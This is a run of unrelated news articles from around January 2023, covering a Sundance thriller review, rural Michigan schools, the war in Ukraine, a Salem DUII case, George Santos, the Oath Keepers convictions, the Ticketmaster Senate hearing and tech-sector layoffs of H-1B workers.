We'll probably never know how many Netflix subscribers hit play, but Run Rabbit Run will get to enjoy a healthy shelf life. The twisty psychological thriller introduces Snook as a tranquil fertility doctor named Sarah, content to sing "Happy Birthday to You" to her 7-year-old daughter (Lily LaTorre) and go about her prosaic life. Shiv Roy would never. Sarah has a stillness about her that counters Shiv's always-be-closing nerve.

Infinity Pool Is a Nearly X-Rated, Disturbing Romp That Has Sundance Clutching Its Pearls

Eventually that stillness unravels. Sarah seems to be handling her father's recent death fairly well, but something about little Mia turning 7 triggers a breakdown in both mother and daughter. We soon learn that's the age at which Sarah's sister disappeared, causing an eternal rift with her own mother (Greta Scacchi), who's now living with dementia in a nursing home and has never met Mia. Once a mysterious white rabbit shows up at Sarah and Mia's Melbourne doorstep, Mia's behavior grows increasingly hysterical. She obsesses over an old photo of Sarah and her sister, accuses Sarah of not being her real mummy, and starts drawing demented doodles at school.

Story continues

Much of Run Rabbit Run, written by novelist Hannah Kent and directed by Daina Reed (The Handmaid's Tale), treads familiar horror terrain. There are sprinkles of The Babadook, Birth, and The Bad Seed, but the movie it most resembles is Relic, the 2020 indie about three intergenerational Australian women whose chilly family history coils through one haunted house. Relic and Run Rabbit Run both depict parents responsible for passing emotional wounds to their children, often without realizing it.

Mia is too young to comprehend the turmoil Sarah might face. Sarah herself doesn't seem to comprehend it. When Mia demands to be called Alice, the name of her moms dead sister (no wonder there's a rabbit), things get really dicey. Is Sarah projecting her own ghosts onto Mia, or is Mia proving to Sarah how mania-inducing motherhood can be? And why won't that damn bunny go away?

Courtesy of Sundance

It's about trauma is the undercooked thematic spine of too many horror movies released in the last few years, parroting a buzzword that has eclipsed psychotherapy and become a shortcut for fiction longing to convey Deep Meaning. At least Run Rabbit Rununlike Smile or the latest Halloween trilogykeeps that subtext beneath the surface. The movie transcends most of its redundancies thanks to the ominous atmosphere Reed cultivates, landing a couple of ghastly fights along the way. She has assistance from a low-pitched score composed by Top of the Lake collaborators Mark Bradshaw and Marcus Whale.

Nothing would work without Snooks performance, though. Run Rabbit Run was initially going to star Elisabeth Moss, who tends to bring a more feral quality to her roles. Sarahs initial ease is key here. Its the armor behind which she hides the anger and guilt that seep out as the movie nears its climax. In those emotions we see shades of Shiv emerge, confirming how excellent Snook is at portraying internalized rage.

Anne Hathaways Eileen Is Dark, Explosive, and Has One Helluva Ending

This marks the start of a bright 2023 for Snook. Successions much-anticipated fourth season is slated to premiere this spring, picking up with Shivs oft-beleaguered husband, Tom (Matthew Macfadyen), having usurped her quest for control of the familys company. (Hows that for familial trauma, a word Succession wouldnt dare use in earnest?) Later this year, Snook will shoot The Beanie Bubble, an Apple movie about the surprisingly layered Beanie Baby craze of the '90s, alongside Elizabeth Banks, Zach Galifianakis, Geraldine Viswanathan, and Hacks' Carl Clemons-Hopkins.

Much of the Succession cast has already capitalized on the show's acclaim. Jeremy Strong is starring in Oscar-friendly movies like The Trial of the Chicago 7and Armageddon Time, Kieran Culkin hosted Saturday Night Live in 2021, Nicholas Braun has parlayed his breakout fame into a variety of eclectic gigs like Zola and Sundance's Cat Person, and J. Smith-Cameron is finally getting the recognition she has long deserved. Snook, previously best known for small parts in The Dressmaker and Steve Jobs, can join the club now, too. She is every bit their equal, with the buzzy festival hit to prove it.

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Story at a glance

One in five students across the U.S. goes to school in a rural setting.

Rural school districts often have specific challenges, such as high transportation budgets, difficulty attracting good teachers and high poverty levels.

Our teachers live in a poverty level. They are not here for the money, Superintendent Tom McKee of Rudyard Area Schools in Michigan said.

(NewsNation)  Many students and educators across America face concerns that stem from a lack of technological infrastructure to the economic state of their rural school districts.

One in five students across the U.S. goes to school in a rural setting, and these districts are ridden with their own challenges.

Michigans Upper Peninsula is known for its captivating landscapes, gorgeous Great Lakes and forestry. Its a vacation spot, but for many, its also home.

This is my town. This is where I went to school at; this is where I want to raise my family, said Superintendent Tom McKee.

Hes forced to wear a lot of hats at Rudyard Area Schools.

I have had to drive a bus. Ive had to substitute teach quite a bit. Ive worked in the kitchen a few times, McKee recalled.

Helping out is the easy part.

So our biggest challenge is lack of funding. Transportation-wise, we have a lot of miles to cover  402 square miles is how big our district is, McKee said.

Will America finally get internet right for rural students?

It means more gas, higher bus driver salaries and maintenance costs. Nearly 20% of McKees budget goes toward transportation, so it means he cant pay his teachers the way hed like.

Our teachers live in a poverty level. They are not here for the money, McKee said.

When I went to college, this is all I ever wanted to do, said nearby DeTour Area School District teacher Sara Galarowic.

Yet the problems are plenty. Theres a lack of resources and a lack of opportunities for her students.

Story continues

A lot of better colleges are looking at peoples applications to have AP classes and honors classes and we dont have any of that, said Sophia DePaul, DeTour High School junior.

Galarowic said shes the only math teacher at her school of 200 students, which is another common scenario in rural school districts.

We have a hard time recruiting and getting new teachers into our district, Galarowic said.

Another problem is a lack of access to a good internet connection. Its nearly nonexistent in most of the Upper Peninsula.

I had some issues; could not connect Zoom meetings because of internet issues, said Ella Bias, a DeTour High School senior.

Adults living in households earning less than $30,000 a year are far more likely to report not using the internet than those whose annual household income is $75,000 or more, according to a Pew Research study.

Diplomas can give young people a path away from crime

Meanwhile, like many teachers, Galarowic said shes tired of playing all the parts; she plans to retire early.

Im a third-generation teacher  my grandmother was a teacher, my dad was a teacher  and what they did and what Im doing are not the same thing anymore, Galarowic said.

Another common rural district issue is that 80% of the students in the Rudyard Area School District come from poverty.

The average income for our county is $39,000. So that makes it tough. I mean, theres not really too much affordable housing, obtainable housing, McKee said.

The Upper Peninsula is known for its beauty, but also for geographical isolation. Some towns are 60 miles away from the nearest grocery store, and homes are miles apart from each other.

Were about as remote as you can be up here, said Superintendent of DeTour Area School District Bob Vaught.

And loneliness takes its toll, Vaught said.

Mental health certainly has come to the limelight as of late. Its something that has always been because were a very, you know, Midwestern closed society; we dont share our secrets, Vaught said.

Even with an endless list of challenges, McKee said hes not leaving.

This is the town that made me. Im going to help the next generation, he said.

For the latest news, weather, sports, and streaming video, head to The Hill.
Russian President Vladimir Putin in St. Petersburg, Russia, on January 18, 2023. Ilya Pitalev, Sputnik, Kremlin Pool Photo via AP

Russia dismissed a top general who had been praised for his performance in Ukraine, the UK MOD said.

He was likely removed after the appointment of a new head of Russia's invasion, it said.

The MOD said there are "continued divisions" in the Russian military since the shake up.

A top Russian general appears to have been dismissed amid a shake up and ongoing power struggles within Russia's military ranks, according to UK intelligence.

The UK Ministry of Defence said in an intelligence update on Tuesday that General Colonel Mikhail Teplinsky, one of Russia's leading commanders in Ukraine, had "likely been dismissed as one of Russia's key operational commanders in Ukraine."

The ministry noted that Teplinsky had recently been praised for his role, including for the "relatively successful" withdrawal of Russian troops from the west of the Dnipro river in November 2022.

It added that Teplinsky may have been dismissed as part of the power struggles at the top of Russia's military, following the appointment of a new general in charge of the overall Ukraine war.

Russia appointed Gen. Valery Gerasimov, the longtime chief of the general staff of Russia's armed forces, as the new overall head of the conflict in Ukraine earlier this month.

The UK ministry said that "Teplinsky's dismissal is likely another symptom of continued divisions within the senior hierarchy of Russia's operation as General Valery Gerasimov attempts to impose his personal authority on the campaign."

Ukrainian news agency Ukrinform reported on Tuesday that Teplinsky "cursed at" Gerasimov during a meeting and was "immediately dismissed."

Other Russian military figures have also been given new roles as part of the reshuffle.

Experts have noted to Insider that Gerasimov started his new role as a controversial figure, with a lot to prove.

This is largely because he's the most senior figure yet to be given the top job in Ukraine, and also because he was reportedly one of the architects behind the initial invasion plan.

Story continues

As such, Gerasimov has been criticized by Russian nationalists as well as military bloggers for how the war has progressed, even before he took over the new role.

His predecessor, Sergei Surovikin, was given just three months before being moved on, in a sign of how willing Russia's President Vladimir Putin is to replace his top military officials.

The UK defense ministry said that it is also not clear if Teplinsky remains in one of his other positions, as head of Russia's airborne forces: the VDV.

"There is a realistic possibility that debate over the tasks VDV has been given has contributed to his dismissal: VDV has often been employed in ground holding roles traditionally given to the mechanized infantry," it said.

The UK ministry suggested earlier this month that Russia had been using almost all deployable VDV troops as ground-holding troops up until November.

A Ukrainian intelligence official said on Tuesday that there were "misunderstandings" between Teplinsky and Gerasimov over the VDV troops' role and the high death toll of VDV troops while Gerasimov was in charge of Russia's armed forces and before Teplinsky was in charge of the air force.

Insider reported last April that the VDV had been involved in a number of failures at the start of Russia's invasion, and had suffered heavy losses.

Read the original article on Business Insider
TBILISI (Reuters) - Russia said on Tuesday it was working hard to resolve a dispute between Armenia and Azerbaijan over the Lachin corridor, the sole road linking Armenia to the Armenian-populated enclave of Nagorno-Karabakh.

The mountainous route across Azerbaijan has been blocked since Dec. 12, when protesters claiming to be environmental activists stopped traffic by setting up tents. Some 120,000 ethnic Armenians in Nagorno-Karabakh depend on it for supplies of food, fuel and medicine.

The standoff has raised international concern, with U.S. Secretary of State Antony Blinken calling on Monday for the immediate reopening of the route.

Russian is the main power broker in the region and has peacekeeping troops stationed along the Lachin corridor. Their failure to reopen it is a source of frustration for Armenia.

Russia "continues painstaking and difficult work with both Armenia and Azerbaijan," Kremlin spokesman Dmitry Peskov told reporters when asked to comment on Blinken's remarks. He did not elaborate.

Armenia says the protest was orchestrated by the Azerbaijani government as a deliberate blockade of Nagorno-Karabakh. Azerbaijan denies that, saying the activists are staging a legitimate protest against illegal mining activity.

The two countries have fought two wars since the 1991 collapse of the Soviet Union over Nagorno-Karabakh, which is internationally recognised as part of Azerbaijan but populated mainly by ethnic Armenians.

(Reporting by Filipp Lebedev, Writing by Caleb Davis, Editing by Mark Trevelyan)
The Russian government has ordered the creation of 24 penal colonies in the occupied Oblasts of Ukraine.

Source: Russian Government decree; Meduza, Latvia-based Russian media outlet

Details: The Russian invaders are planning to create 12 correctional facilities in occupied Donetsk Oblast, 7 in Luhansk Oblast, 3 in the annexed part of Kherson Oblast, and 2 (including a minimum security prison) in the annexed part of Zaporizhia Oblast.

The Russian Government also plans to create three medical correctional facilities and three correctional centres there.

As of November 2022, there were 626 penal colonies in Russia. Media note that, on average, this is about seven colonies per region.

In November 2022, Sirena, the publication of Aleksei Navalny's team, reported that during the retreat from Kherson Oblast, the Russian military took Ukrainian prisoners to 10 penal colonies on the territory of the Russian Federation.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!






Russian attacks were reported in Donetsk, Kherson, Kharkiv, Sumy, Mykolaiv, Chernihiv, Zaporizhzhia, and Luhansk oblasts in the east, south, and north of Ukraine. According to local authorities, five people were killed, and six were wounded in the past 24 hours.

Russian forces killed three civilians and injured three others in Donetsk Oblast, Governor Pavlo Kyrylenko reported on Jan. 24. One person was killed in Novopokrovske, one in Paraskoviivka, and one in Chasiv Yar, the governor said.

Russian troops struck Kherson Oblast 29 times using artillery, multiple launch rocket systems (MLRS), and mortars, according to Kherson Oblast Governor Yaroslav Yanushevych. The attacks killed one person, said Yanushevych.

Russian military attacked the city of Kupiansk in Kharkiv Oblast on the morning of Jan. 24, damaging private houses and causing large-scale fires, Governor Oleh Syniehubov said on Telegram. Russia also hit some border settlements in three regional districts with artillery and missiles, injuring a man and damaging residential buildings, civil industry facilities, infrastructure sites, an educational institution, and a cultural center.

Zaporizhzhia regional state administration reported that civilian infrastructure in 24 settlements in Zaporizhzhia Oblast was under Russian fire. Local authorities received 28 reports about the damages to citizens' households and infrastructure sites due to Russian attacks.

Russia also hit the Ochakiv community on the Black Sea coast in Mykolaiv Oblast on Jan. 23, said Vitalii Kim, the oblast governor. There were no casualties or damage.

Russian forces fired at the Shalyhyne community in Sumy Oblast at night with machine guns, according to Dmytro Zhyvytsky, the oblast governor. Earlier on Jan. 23, Zhyvytsky reported that Russian artillery had shelled a residential building in the Esman community, killing a woman and wounding two other people.

Russian troops hit the settlements Mykhalchyna-Sloboda and Buchky in Chernihiv Oblast near the Russia-Ukraine border with self-propelled artillery and mortars on Jan. 23, according to Northern operational command. There were no casualties or damage.

Nine settlements of Luhansk Oblast were attacked by Russian troops in the past 24 hours, the regional state administration wrote. The administration didn't provide information on casualties or damage.
Ukrainian tankers in the Bakhmut area, January 20, 2023

The ISW said the relevant assessment had been announced by Ukrainian intelligence, partially confirming ISWs standing assessment that Russian troops may undertake a decisive action in the coming months.

The Ukrainian Main Intelligence Directorate of HUR spokesman Vadym Skibitsky stated on Jan. 20 that the spring and early summer of 2023 will be a decisive period in the war, and confirmed that the HUR has observed indicators that Russian troops are regrouping in preparation for a big offensive in Donetsk and Luhansk oblasts.

Read also: Next two-three weeks to be decisive for Ukraine and whole world, European Council president says

Skibitsky also reiterated that Russian forces are unlikely to launch an attack from Belarus or in southern Ukraine.

ISW has previously assessed that Russian forces may be preparing to make a decisive effort (of either offensive or defensive nature) in Luhansk Oblast, and observed a redeployment of conventional forces such as airborne (VDV) elements to the Svatove-Kreminna axis after the Russian withdrawal from Kherson Oblast.

ISW also maintains that it is highly unlikely that Russian forces are planning to relaunch a new offensive on northern Ukraine from the direction of Belarus.

Skibitskys assessments largely support ISWs running forecasts of Russian intentions in the first half of 2023, and underscore the continued need for Western partner support to ensure that Ukraine does not lose the initiative to a renewed Russian offensive operation.

Other key takeaways by ISW analysts:

The Wagner Groups outsized reliance on recruitment from penal colonies appears to be having increasing ramifications on Wagners combat capability;

Russia continues to deepen military and economic relations with Iran in an effort to engage in mutually beneficial sanctions evasion;

Russian forces continued limited counterattacks to regain lost positions along the Svatove-Kreminna line;

Ukrainian forces struck Russian concentration areas in occupied Luhansk Oblast;

Russian forces continued ground attacks around Bakhmut and on the western outskirts of the city of Donetsk;

Russian forces likely conducted a failed offensive operation in Zaporizhzhya Oblast in the last 72 hours;

Russian forces have not made any confirmed territorial gains in Zaporizhzhya Oblast despite one Russian occupation officials continued claims. The occupation official may be pushing a narrative of Russian tactical successes in Zaporizhzhya Oblast to generate positive narratives to distract Russians from the lack of promised progress in Bakhmut;

The Kremlins efforts to professionalize the Russian armed forces are continuing to generate criticism among supporters of new Russian parallel military structures;

Russian officials and occupation authorities continue efforts to integrate occupied territories into Russian social, administrative, and political systems and crack down on partisan dissent in occupied areas.

Read the original article on The New Voice of Ukraine
By Andrew Osborn

LONDON (Reuters) - The founder of Russia's Wagner mercenary group fighting in Ukraine has asked parliament to ban negative media reports about his men by amending the criminal code to make "discrediting" his fighters punishable by up to five years in jail.

Yevgeny Prigozhin made the request in a letter sent to Vycheslav Volodin, the hawkish chairman of the State Duma, Russia's lower house of parliament. Prigozhin's press service published the letter on Tuesday.

Volodin, a close ally of President Vladimir Putin, is already advocating amending the criminal code to allow the authorities to confiscate the property and assets of Russians living abroad who publicly insult Russia and its armed forces.

Mercenary boss Prigozhin, who has adopted a high public profile since the war in Ukraine began in an apparent effort to curry favour with Putin and enhance his own prospects, has drawn attention to the major role his fighters have played in helping seize some towns and villages and has frequently criticised Russia's own top military brass.

In his letter, he accused "certain media, bloggers and Telegram channels" of discrediting some of his men, including convicts he has recruited into Wagner's ranks, by presenting them as "bad guys and criminals".

That was a reference to the fact that the sometimes grisly and murderous past of some convicts recruited by Wagner has been publicised. The men took up his offer to fight in Ukraine for six months as they were promised a pardon if they survived, even if they had originally been jailed for life.

Prigozhin asked parliament to criminalise any actions or publications that discredited such individuals and to outlaw public disclosure of their criminal past.

"In essence, the people who are on the most dangerous parts of the frontline and who are risking their lives every day and dying for the Motherland are being portrayed as second-class people, stripping them of the right to atone for their guilt before society and consciously playing down their achievements," Prigozhin wrote in the letter.

Story continues

There was no immediate reaction to his request from Volodin.

Earlier on Tuesday, Sergei Mironov, leader in parliament of the pro-Kremlin Just Russia party, criticised two Russian regions he said were refusing to bury Wagner fighters killed in Ukraine with military honours.

"These are unconscionable decisions because you can't judge what a person did in the past," said Mironov.

"Especially if the person died with a weapon in his hands defending our Motherland!"

(Reporting by Andrew Osborn; Editing by Gareth Jones)
Before the full-scale war, now National Guardsman Dmytro Drozd was a civilian medic. After 24 February, he became a volunteer at the Red Cross and participated in the evacuation operations of civilians from Berdiansk, Melitopol and Mariupol.

The National Guard of Ukraine, where Dmytro currently serves, shared what made the man become a military medic.

While still a volunteer, Dmytro took part in the largest evacuation since the beginning of the full-scale war of the Russian Federation against Ukraine. Approximately 4,500 civilians were evacuated from the now temporarily occupied Berdiansk. There were 40 small children in the bus driven by Dmytro, 3 of whom had pneumonia.

"The Russian occupiers didn't care  children/not children, sick/not sick. Three of them had a temperature of 40 [Celsius  ed.]. The children were sick. An ambulance was driving in front of us. There was a wounded 12-year-old girl with a punctured lung. [Her  ed.] father was sitting with her, and the ambulance driver came out. The child was getting paler, so it was necessary to get to the city as soon as possible. This is what makes you keep going...

They didn't even want to let us out. They said that we will go on to Melitopol. It was very scary, because we knew that there was only one way out of Melitopol. They simply wanted to take us into captivity," the medic recalls.

Despite the obstacles and checks that the occupiers arranged "every kilometre", the evacuation was still carried out. Then civilians were brought to Zaporizhzhia.

Dmytro told how the Russians arranged inspections at their posts:

"People were stripped, their shoes taken off, their phones and money taken away. It was not very pleasant, but I had to sit and hold on to the steering wheel very tightly so as not to cause a commotion, because I was thinking of the children who were travelling with me."

The medic also took part in the evacuation of people from Azovstal, the Mariupol metallurgical plant. For the first time, a convoy of 150 buses and 50 ambulances went there on 8 March, but the occupiers did not allow anyone to take the civilians back then.

Story continues

"They didn't let us pass neither from the Tokmak side nor from the side of Huliai-Pole. Then they launched a hunt for our convoy. They tried to shoot at us. The occupiers didn't let us take a single person out of Azovstal.

When we returned, they stood near Vasylivka with machine guns and checked every bus, so that no one else was in the transport except the driver. "I didn't see a single positive emotion [on the occupiers' faces  ed.] towards children and the civilian population  from one person to another," says Dmytro.

According to him, it was this evacuation, which did not happen, that made him go to serve in the National Guard of Ukraine

"After I returned from Mariupol on 4 May, I could no longer look calmly at what was happening around," the man emphasised.

Dmytro gained his first combat experience in Velyki Novosilky at the end of June. As a combat medic, the soldier "saw everything there":

"One woman had to be resuscitated back to life."

Dmytro saved the wounded woman during a mortar shelling. When he reached the woman, she was sitting in a pool of blood, and then fell on her back.

"I searched for a pulse. It was very weak. The woman had broken bones in both of her legs. The driver, the paramedic and I quickly put her in the car. I saved her on the way," says the doctor.

The oldest grandmother, whose life Dmytro saved, was 89 years old. During a mortar shelling, debris tore off a calf on her leg.

Dmitry, as a military medic, has to not only save lives, but also see death. He told about a case when a person died in his arms.

"As a medic, I felt the last heartbeat in my hands. I went to a civilian woman  she was crushed by a slab. Before my arrival, she was taken out. When I touched her, I felt her heart beating for the last time. I understood that nothing was going to happen, I couldnt do anything because her skull was completely crushed. She was a teacher. She was 58 years old. All I had to do was take her [to the morgue  ed.]."

Dmytro admits that during all this time he provided help to people without fear or hesitation. He says he understood that it was his job.

"I have to save peoples lives," the soldier concluded.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!
Rylan paid tribute to Ken Bruce. (Getty)

Rylan Clark has paid tribute to Ken Bruce after the radio legend announced he was leaving BBC Radio 2 after more than 30 years with the station.

In a new interview with the Radio Times, Clark particularly celebrated Bruce's contribution to the BBC's Eurovision coverage.

Read more: Rylan Clark reveals hotel worker threatened to 'slice your neck in your sleep'

He said: "To me, Ken is Radio 2. Hes just... hes Ken Bruce! And for me, you know, Radio 2 Eurovision just is Ken Bruce."

Ken Bruce has left BBC Radio 2 after more than 30 years. (Getty)

His comments follow on from a tweet made after Bruce announced he was departing the BBC last week. Rylan wrote: "Ken Bruce. A beautiful man whos always been so lovely to me at @BBCRadio2. Going to be so missed on air, but personally Ill miss having a beer in a foreign country discussing anything and everything whilst at Eurovision. Thanks for always being so lovely."

Rylan also talked about the UK hosting the competition instead of Ukraine due to the war with Russia: "Its absolutely terrible whats going on out in Ukraine. Im just grateful that were able to sort of throw Ukraines party over here in the UK, giving them the celebration they deserve."

Clark is also set to host the semi-final draw portion of the competiton along with AJ Odudu live on the BBC. The show will also feature the official handing over ceremony with the mayor of Turin giving the keys to Eurovision to the mayor of Liverpool.

Rylan is set to co-host the Eurovision draw later this month. (Getty Images for Orion Books)

Liverpool will become the sixth UK city to host the singing competition on 13th May and it will be the first time the contest has been held in Britain for 25 years.

The UK has not yet announced who will be represnting the country in the competition.

The 2023 Eurovision Song Contest Handover and Allocation Draw will air on the BBC on Tuesday 31 January.

Watch below: John Lydon bids to represent Ireland at Eurovision in tribute to wife
Breaking news

A Salem veterinarian has been charged with driving under the influence of intoxicants and attempting to elude a police officer following a collision Saturday that left a pedestrian seriously injured.

Dr. Eric Raymond Webb, a small-animal vet at The Pet Clinic, also was charged with second-degree assault, failure to perform the duties of a driver to injured persons, and driving while suspended, according to court documents.

The 26-year-old female pedestrian was taken by ambulance to Salem Hospital. She later was transferred to Oregon Health & Science University in Portland.

Police received a report of a hit-and-run at about 8:30 p.m. Saturday at the intersection of Lancaster Drive and Rickey Street SE, according to a Salem Police news release.

Witnesses reported the woman was struck by a pick-up truck driven by an adult male who fled the scene. They were able to provide details about the direction of travel of the vehicle.

Keizer Police located and stopped Webb in the 1900 block of Claxter Road NE, Keizer Police spokesman Lt. Trevor Wenning said.

Webb, 49, has seven previous DUII convictions dating back to 2010, according to court records.

He also has previous convictions for fleeing or attempting to elude a police officer, tampering with physical evidence, criminal driving while suspended, violating the open-container law, recklessly endangering another person, aggravated assault and second-degree criminal mischief.

According to Webbs public social media pages, he graduated from Mountain View High School in Bend in 1991, and from Oklahoma State Universitys veterinary college in 1998. He currently lives in Aumsville.

Dr. Ken Genova, owner of The Pet Clinic, declined to comment, an employee there said.

The Oregon Veterinary Medical Examining Board shows Webbs initial license date as Feb. 28, 2022, and does not show any disciplinary proceedings. Board minutes, however, show Webbs veterinary license was reinstated at least twice, in 2013 and 2018.

Story continues

Webb was arraigned in Marion County Circuit Court Monday afternoon.

Tracy Loew covers the environment at the Statesman Journal. Send comments, questions and tips to tloew@statesmanjournal.com, 503-399-6779. Follow her on Twitter at @Tracy_Loew

This article originally appeared on Salem Statesman Journal: Salem Veterinarian charged with DUII after crash injured 1
Rep. George Santos (R-N.Y.), the embattled freshman congressman, claimed in an interview on a Brazilian podcast in December that he was the target of an assassination attempt.

We have already suffered an attempt on my life, an assassination attempt, Santos said in Portuguese to the Radio Novelo Apresenta podcast, which shared the video with The Rachel Maddow Show on MSNBC.

Santos, who was a representative-elect at the time, described the alleged abuse that he and his husband faced in the U.S., seemingly tying it back to the fact that he is a Republican. Santos says that they had to have police stand outside their home and said their house was attacked after attending a New Years Eve party in Florida.

We go back to our house, it was vandalized because we were at a Republican party, Santos said.

Santos also claimed that he was the victim of a mugging in New York City in the summer of 2021. He alleged his attacker took his briefcase, shoes and watch during the incident on Fifth Avenue in broad daylight.

The fear is real. Its surreal what we live through here, Santos said.

Santoss early political career has been marred in controversy, since he lied about his past and work history. He has since confirmed some of the embellishments.

A growing chorus of his fellow congressmen have called on the freshman lawmaker to resign, but he has rebuked those calls. He has since been assigned to two committees.

Santoss office did not immediately respond to a request for comment.

For the latest news, weather, sports, and streaming video, head to The Hill.
Joseph Hackett of Sarasota, Fla., leaves federal court in Washington, Monday, Jan. 23, 2023, after he and three other members of the Oath Keepers were convicted of seditious conspiracy in the Jan. 6, 2021, Capitol attack in the second major trial involving far-right extremists accused of plotting to forcibly keep President Donald Trump in power. (AP Photo/Andrew Harnik)

A Sarasota man was one of four Oath Keepers found guilty Monday for his actions tied to the Jan. 6, 2021, Capitol attack aimed at stopping the peaceful transfer of presidential power to President Joe Biden.

Joseph Hackett, 52, was convicted of seditious conspiracy and four other charges in a trial against members of the right-wing militia group, according to reporting by USA TODAY.

Hackett was found guilty of conspiracy to obstruct an official proceeding, obstructing an official proceeding, conspiracy to prevent members of Congress from discharging their official duties and destruction of evidence, according to a U.S. Department of Justice news release.

Seditious conspiracy occurs when a group of people conspire to "overthrow, put down or to destroy by force" the U.S. government or bring war against it, or plot to use force to oppose the authority of the government or to block the execution of a law.

Four of the five charges carry a statutory maximum sentence of 20 years in prison, according to the news release. The charges also carry potential financial penalties.

U.S. District Court Judge Amit Mehta is expected to schedule a sentencing hearing at a later date, the news release stated.

Previous reporting:Sarasota Oath Keeper charged with seditious conspiracy for actions surrounding Jan. 6

Todays verdict is an important step in our continued efforts to hold criminally accountable those involved in the breach of the U.S. Capitol on Jan. 6, 2021, FBI Director Christopher Wray said in a news release. We will continue to investigate those who sought to undermine the workings of American democracy and we will work closely with federal prosecutors to ensure justice is served.

Monday's verdict follows the November 2022 seditious conspiracy conviction of Oath Keepers leader Elmer Stewart Rhodes III and another member of the group.

According to earlier reporting by the Sarasota Herald-Tribune, Hackett was among a group of Oath Keepers who was dressed in paramilitary gear and breached the Capitol in a "stack" formation. Hackett, a chiropractor, was believed by federal authorities to have been involved in planning the operation, according to previous reporting.

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During the six-week trial, prosecutors argued that the four Oath Keepers, along with others, planned and coordinated to travel to Washington D.C. to storm the Capitol and stop the certification of the 2020 election results, according to the news release.

Members of the Oath Keepers extremist group stand on the East Front of the U.S. Capitol on Jan. 6, 2021, in Washington. The Capitol riot was the culmination of weeks of preparation and a moment of triumph for the Oath Keepers, federal prosecutor Louis Manzo said Jan. 18, 2023, in closing arguments in the second seditious conspiracy trial against members of the far-right extremist group. The defendants facing jurors in the latest trial are Joseph Hackett, Roberto Minuta, David Moerschel, and Edward Vallejo.

Defense attorneys for the Oath Keepers argued the government "cherry-picked" evidence to make the defendants look as guilty as possible, according to USA TODAY.

When the indictment for Hackett was released in January 2022, the Herald-Tribune reported Hackett had participated in an online meeting convened by Rhodes on Nov. 9, 2020. Following that meeting, Hackett and other Florida Oath Keepers trained on "unconventional warfare."

The indictment also stated that Hackett was among a group of members in early January 2021 who transported weapons and other items to Washington D.C., according to previous Herald-Tribune reporting.

Hackett was arrested in June 2021 and charged with conspiracy, obstruction of an official proceeding, aiding and abetting, destruction of government property, and illegally entering a restricted building or grounds.

Gabriela Szymanowska covers the legal system for the Herald-Tribune in partnership with Report for America. You can support her work with a tax-deductible donation to Report for America. Contact Gabriela Szymanowska at gszymanowska@gannett.com, or on Twitter.

This article originally appeared on Sarasota Herald-Tribune: Joseph Hackett, 3 other Oath Keepers convicted of seditious conspiracy
Olaf Scholz, the Chancellor of Germany, has decided to transfer Leopard 2 battle tanks to Ukraine.

This was reported by European Pravda with reference to Spiegel.

According to the publication, Germany plans to provide Ukraine with at least one company of Leopard 2A6 tanks, which is about 14 units of equipment, under NATO standards.

It is claimed that the German Leopard tanks are to arrive from the warehouses of the Bundeswehr. In the medium and long term, additional tanks may be prepared from stocks held by German industry.

Update as of 20:53: Politico writes that Scholz is expected to announce about supplying tanks for Ukraine on Wednesday, 25 January, during his address in the Bundeswehr scheduled for 13:00. He may also announce that Germany will permit re-export of Leopard 2 tanks from other European countries.

As Spiegel points out, Berlin's decision was obviously preceded by several days of intensive consultations with allies, especially the United States. German Chancellor Olaf Scholz emphasised that he would supply Ukraine with combat tanks only in cooperation with other countries.

The German army has 320 Leopard 2 tanks in service. These tanks are in various conditions in terms of repair and readiness for deployment, and the exact number of these that can be ready for dispatch to Kyiv is not publicly disclosed.

In addition, on Tuesday, it became known that Germany received a request from Poland to re-export Leopard 2 tanks to Ukraine. The German government has stated that they wanted to review this request as quickly as possible. According to the mass media, the decision may be announced as early as Wednesday.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!






Senators ripped into executives from Ticketmasters parent company Live Nation over its disastrous handling of Taylor Swift ticket sales during a congressional hearing on Tuesday.

Live Nation president Joe Berchtold appeared before lawmakers on Capitol Hill where he apologised to the pop star and her legion of fans, pledging: We need to do better, and we will.

The words appeared to carry little weight with members of the Senate Judiciary Committee.

Democrat Richard Blumenthal, from Connecticut, told Mr Berchtold he had accomplished the stunning achievement of unifying both parties behind a common cause.

Using lyrics from Swifts 2022 hit Anti-Hero, the 76-year-old added: Ticketmaster ought to look in the mirror and say: Im the problem. Its me.

Fellow Democrat Amy Klobuchar, of Minnesota, also employed a Swift song title as she called for a probe into the potential breakup of Ticketmaster and Live Nation, who merged in 2010.

Taylor Swift arrives at the MTV Video Music Awards on Sunday, in New Jersey in 2022 (Invision)

To have a strong capitalist system, you have to have competition. You cant have too much consolidation, Ms Klobuchar said, according to the Huffington Post.

Something that unfortunately for our country, as an ode to Taylor Swift, I will say we know all too well, a nod to the stars pop break-up ballad All Too Well.

Republican Senator Mike Lee, from Utah, joined in the fun by quoting a lyric from Blank Space.

He said that limiting ticket transfers to avoid reselling was a nightmare dressed like a daydream.

The GOP lawmaker concluded his speech with the words: I have to throw out, in deference to my daughter Eliza, one more Taylor Swift quote: Karma is a relaxing thought, arent you envious for you its not?

The ticketing debacle last November saw millions of irate fans miss out when the Ticketmaster was forced to cancel its public sale due to a staggering number of bot attacks.

Elsewhere, the head of rival company Seatgeek joined calls for the ticketing behemoth to be split up.

Ticketmaster, as the ticket selling arm of the operation, and the promotional arm Live Nation, were accused of abusing their market dominance to charge up to 25 per cent in commissions on concerts and sporting events.

Swift herself did not appear at Tuesdays hearing, but fans picketed the US Capitol with protest placards.
Despite the often cold language about market corrections or rightsizing that accompanies them, mass layoffs are a collection of individual little catastrophes for the people affected by them. Such is the case for workers caught in rounds of tens of thousands of layoffs announced in the last several weeks by tech sector giants like Amazon, Google and Facebook parent Meta.

For many, it will represent a period of stress and uncertainty from which theyll likely recover. For workers on immigrant visas, however, it might represent a point of no return.

The term temporary worker is a bit misleading, creating a public conception of foreign workers flitting into the country for a few months and then leaving. In reality, many workers on visas like the H-1B are longtime residents whove built lives in the U.S., stuck in interminable residency backlog that our own broken immigration system has created, or onetime students whove gone through years of U.S. higher education in pursuit of well-paid jobs and the American dream.

They might have done everything right for years and years, but that doesnt matter once a layoff comes and they have a mere 60 days to find alternative employment or lose status and be forced out of the country. With swaths of the tech industry now engaged in shedding of workers, a significant portion will inevitably run out the clock.

